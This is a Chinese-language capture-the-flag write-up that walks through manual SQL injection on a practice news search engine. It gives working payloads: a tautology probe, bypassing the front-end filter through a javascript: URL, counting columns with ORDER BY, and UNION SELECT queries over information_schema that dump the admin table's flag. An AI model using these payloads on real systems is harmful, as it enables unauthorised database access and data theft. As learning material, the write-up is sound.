做這個(gè)練習(xí)之前,感覺自己就是個(gè)小白,做了之后,感覺學(xué)到了好多東西。作文以記之。
題目要求
題目源于一個(gè)比賽,要求找出數(shù)據(jù)庫中的flag字段的值。
給的題目環(huán)境是一個(gè)新聞搜索引擎。


開始滲透
哈集美馬修~
1.sql注入檢測,試探該網(wǎng)站有沒有sql注入漏洞。
首先猜測sql執(zhí)行語句為:
select [字段1,字段2...字段n] from [表名] where [內(nèi)容字段] like '%關(guān)鍵詞%' [...]
中括號[]標(biāo)識(shí)的都是未知內(nèi)容。
所謂檢測就是在where后面的條件上做文章,改變其邏輯,讓其恒為真。
嘗試在關(guān)鍵詞中寫1' or '1'='1'#(其中#為mysql的單行注釋符,旨在去掉sql語句后面的邏輯,不同的數(shù)據(jù)庫實(shí)現(xiàn)可能有些許不同)
試圖將sql語句改變?yōu)椋?br>
select [字段] from [表名] where [內(nèi)容字段] like '%1' or '1'='1'#%' [...]
#符號后面的語句被注釋掉了,并且where條件因?yàn)楸患由?or '1'='1'所以恒為真。
所以該sql等價(jià)于:select 字段 from 表
此時(shí)點(diǎn)擊搜索按鈕,只要有內(nèi)容被查出,說明該網(wǎng)站是有sql注入漏洞的。
2.越過頁面js腳本。
然而,在我點(diǎn)擊了搜索按鈕之后,得到的只是一個(gè)警告框。

不急,這雖然證明該網(wǎng)站做了針對sql注入的防備,但不能說明防備是有效的。
反而對于我來說這是一件可慶幸的事,說明該網(wǎng)站很有可能采用的是拼接sql的方式,為了防止sql注入而做了敏感字符過濾。
現(xiàn)在找到彈框的js代碼才是最重要的。
右鍵頁面,打開網(wǎng)頁源代碼。喜從中來。


邏輯似乎已經(jīng)看出來了,點(diǎn)擊搜索后,獲取關(guān)鍵詞內(nèi)容,對關(guān)鍵詞內(nèi)容進(jìn)行敏感字符過濾。
這個(gè)過濾是在前端進(jìn)行的,所以形同虛設(shè)。雖然這個(gè)是一開始就加載了的代碼,修改它不會(huì)起作用,但是可以采用地址欄執(zhí)行js的方式,對這個(gè)函數(shù)進(jìn)行重寫。
清空地址欄,輸入javascript:前綴,給一個(gè)空格之后就可以寫要執(zhí)行的js代碼了,直接定義一個(gè)名稱為myFunction的函數(shù),這個(gè)函數(shù)什么都不做,回車。

然后再次進(jìn)行sql注入探測。

果了個(gè)然的查出了新聞?dòng)涗洝?br> 證明此網(wǎng)站確是存在sql注入漏洞的。
3.探測select字段個(gè)數(shù)
我的目的很明確,找到數(shù)據(jù)庫中的flag字段,這個(gè)字段可能是在這個(gè)新聞表里面,也可能在別的表里面。這些之后慢慢爆。
現(xiàn)在有個(gè)問題,怎樣才知道想要的信息,也就是說,怎樣才能讓它把我想要的信息打印在頁面上。
通過firebug知曉了,點(diǎn)擊搜索后并不是發(fā)送的異步請求,所以頁面上的輸出是在后端就已經(jīng)搞定了的。
神器一:union關(guān)鍵字
union關(guān)鍵字,這個(gè)關(guān)鍵字可以將兩個(gè)查詢結(jié)果以一個(gè)結(jié)果集返回。這簡直是神器。不過需要知道他的select語句里面查詢了多少個(gè)字段,因?yàn)閡nion連接的兩個(gè)查詢結(jié)果列數(shù)必需相等。
神器二:order by關(guān)鍵字
這就要用到另一個(gè)神器 order by。因?yàn)閛rder by后面可以接數(shù)字,表示結(jié)果按select的第幾個(gè)字段進(jìn)行排序。
猜測一下,因?yàn)轫撁嫔巷@示的每個(gè)新聞信息有3個(gè)字段,所以很有可能,select語句所查詢的就是這3個(gè)字段。不過為了嚴(yán)謹(jǐn),還是用order by來驗(yàn)證一下。
關(guān)鍵詞輸入框輸入:1' or '1'='1' order by 3#
等價(jià)sql語句:select [字段] from [表名] order by 3

有數(shù)據(jù),說明字段數(shù)>=3
關(guān)鍵詞輸入框輸入:1' or '1'='1' order by 4#
等價(jià)sql語句:select [字段] from [表名] order by 4

無數(shù)據(jù),此時(shí)后臺(tái)sql一定是報(bào)錯(cuò)了,說明字段數(shù)<4
綜上,3<=字段數(shù)<4,得出字段數(shù)=3。
4.在頁面上輸出自己想要輸出的內(nèi)容。
用order by知道了字段數(shù),就可以動(dòng)用union神器了。
用union時(shí)除了知道字段數(shù),還需要知道字段類型,但是這個(gè)很簡單,觀察列表列出的值就大概清楚。
關(guān)鍵詞輸入框輸入:1' and 1=2 union select 20,'JerryL','hahaha'#
等價(jià)sql語句:select 20,'JerryL','hahaha'(由于where恒為假,所以前面的查詢一定沒有結(jié)果,結(jié)果只可能是后面的查詢)

結(jié)果沒問題。
5.找表,找字段
現(xiàn)在已經(jīng)能夠自由的操作頁面的顯示了,只需要找到flag所在的表,就可以完成任務(wù)。
列出當(dāng)前數(shù)據(jù)庫所有表
其實(shí)mysql把所有的表、視圖、函數(shù)等信息都放到了information_schema這個(gè)數(shù)據(jù)庫中,而所有表的信息在information_schema.TABLES這個(gè)表中。這就表示,只要知道了數(shù)據(jù)庫類型是mysql,就可以用這個(gè)表來查詢所有數(shù)據(jù)庫,所有表的信息。
還需要用到一個(gè)函數(shù)database(),這個(gè)函數(shù)返回當(dāng)前web程序使用的數(shù)據(jù)庫的名稱。
于是..
關(guān)鍵詞輸入框輸入:1' and 1=2 union select 20,'JerryL',TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database()#
等價(jià)sql語句:select 20,'JerryL',TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database()

可以看到這個(gè)數(shù)據(jù)庫里面有兩張表,一張admin,一張news。不過我們需要的是表名和字段名,所以只有表名是不夠的。
列出指定表中所有字段名
有困難,找information_schema。
在information_schema庫里面的COLUMNS表中,有所有的字段信息。
關(guān)鍵詞輸入框輸入:1' and 1=2 union select 20,TABLE_NAME,COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=database()#
等價(jià)sql語句:select 20,TABLE_NAME,COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=database()#

真相大白。
6.執(zhí)行最后任務(wù),拿出flag
關(guān)鍵詞輸入框輸入:1' and 1=2 union select 20,username,flag from admin#
等價(jià)sql語句:select 20,username,flag from admin

技巧總結(jié)
1.sql注入探測,嘗試通過參數(shù)修改sql where語句的邏輯,使其恒為真,執(zhí)行后看邏輯是否被修改成功,從而判定是否有注入點(diǎn)。
2.頁面上的js幾乎都是形同虛設(shè)的,總有辦法讓其失效,常用的就是瀏覽器地址欄輸入:javascript: js代碼。用js代碼的執(zhí)行來為一些變量賦值,或者重寫函數(shù)。
3.用order by探測字段個(gè)數(shù),知道個(gè)數(shù)后,用union輸出自己想要的內(nèi)容。
4.各大數(shù)據(jù)庫實(shí)現(xiàn)都提供了許多可用的函數(shù)和元數(shù)據(jù)表等,這些都是很有用的工具。
關(guān)于sql預(yù)編譯
個(gè)人理解,sql預(yù)編譯不能完全解決sql注入的問題,他的作用僅僅是將敏感字符的處理從后端代碼交給了數(shù)據(jù)庫軟件。
也就是說,如果使用的數(shù)據(jù)庫軟件本身的實(shí)現(xiàn)是有漏洞的,那么照樣可以進(jìn)行sql注入。不過主流的數(shù)據(jù)庫軟件應(yīng)該都是可靠的,所以程序中盡量采用sql預(yù)編譯。
后記
第一次正兒八經(jīng)地搞sql注入,雖然只是一道練習(xí)題。但是對于一個(gè)沒有用工具,采用手工注入,而且之前沒有sql注入經(jīng)驗(yàn)的人來說,過程還是有點(diǎn)困難的。不過當(dāng)憑著自己的想法,一步一步往真相靠近的時(shí)候,感覺真的很棒。